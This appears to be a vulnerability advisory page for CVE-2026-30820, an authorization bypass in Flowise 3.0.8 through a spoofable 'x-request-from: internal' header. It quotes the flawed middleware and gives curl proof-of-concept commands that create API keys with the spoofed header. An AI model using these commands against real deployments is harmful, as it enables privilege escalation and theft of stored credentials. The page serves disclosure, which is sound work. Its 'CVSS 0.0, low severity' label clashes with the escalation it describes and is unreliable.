CVE-2026-30820 is a low severity vulnerability with a CVSS score of 0.0. No known exploits currently, and patches are available.
Very low probability of exploitation
EPSS predicts the probability of exploitation in the next 30 days based on real-world threat data, complementing CVSS severity scores with actual risk assessment.
Flowise trusts any HTTP client that sets the header x-request-from: internal, allowing an authenticated tenant session to bypass all /api/v1/** authorization checks. With only a browser cookie, a low-privilege tenant can invoke internal administration endpoints (API key management, credential stores, custom function execution, etc.), effectively escalating privileges.
The global middleware that guards /api/v1 routes lives in external/Flowise/packages/server/src/index.ts:214. After filtering out the whitelist, the logic short-circuits on the spoofable header:
if (isWhitelisted) {
next();
} else if (req.headers['x-request-from'] === 'internal') {
verifyToken(req, res, next);
} else {
const { isValid } = await validateAPIKey(req);
if (!isValid) return res.status(401).json({ error: 'Unauthorized Access' });
… // owner context stitched from API key
}
Because the middle branch blindly calls verifyToken, any tenant that already has a UI session cookie is treated as an internal client simply by adding that header. No additional permission checks are performed before next() executes, so every downstream router under /api/v1 becomes reachable.
curl -c /tmp/flowise_cookies.txt … /api/v1/auth/login). curl -sS -b /tmp/flowise_cookies.txt \
-H 'Content-Type: application/json' \
-H 'x-request-from: internal' \
-X POST http://127.0.0.1:3100/api/v1/apikey \
-d '{"keyName":"Bypass Demo"}'
The server returns HTTP 200 and the newly created key object.
3. Remove the header and retry:
curl -sS -b /tmp/flowise_cookies.txt \
-H 'Content-Type: application/json' \
-X POST http://127.0.0.1:3100/api/v1/apikey \
-d '{"keyName":"Bypass Demo"}'
This yields {"error":"Unauthorized Access"}, confirming the header alone controls access.
Please cite this page when referencing data from Strobes VI. Proper attribution helps support our vulnerability intelligence research.
The same spoof grants access to other privileged routes like /api/v1/credentials, /api/v1/tools, /api/v1/node-custom-function, etc.
This is an authorization bypass / privilege escalation. Any authenticated tenant (even without API keys or elevated roles) can execute internal administration APIs solely from the browser, enabling actions such as minting new API keys, harvesting stored secrets, and, when combined with other flaws (e.g., Custom Function RCE), full system compromise. All self-hosted Flowise 3.0.8 deployments that rely on the default middleware are affected.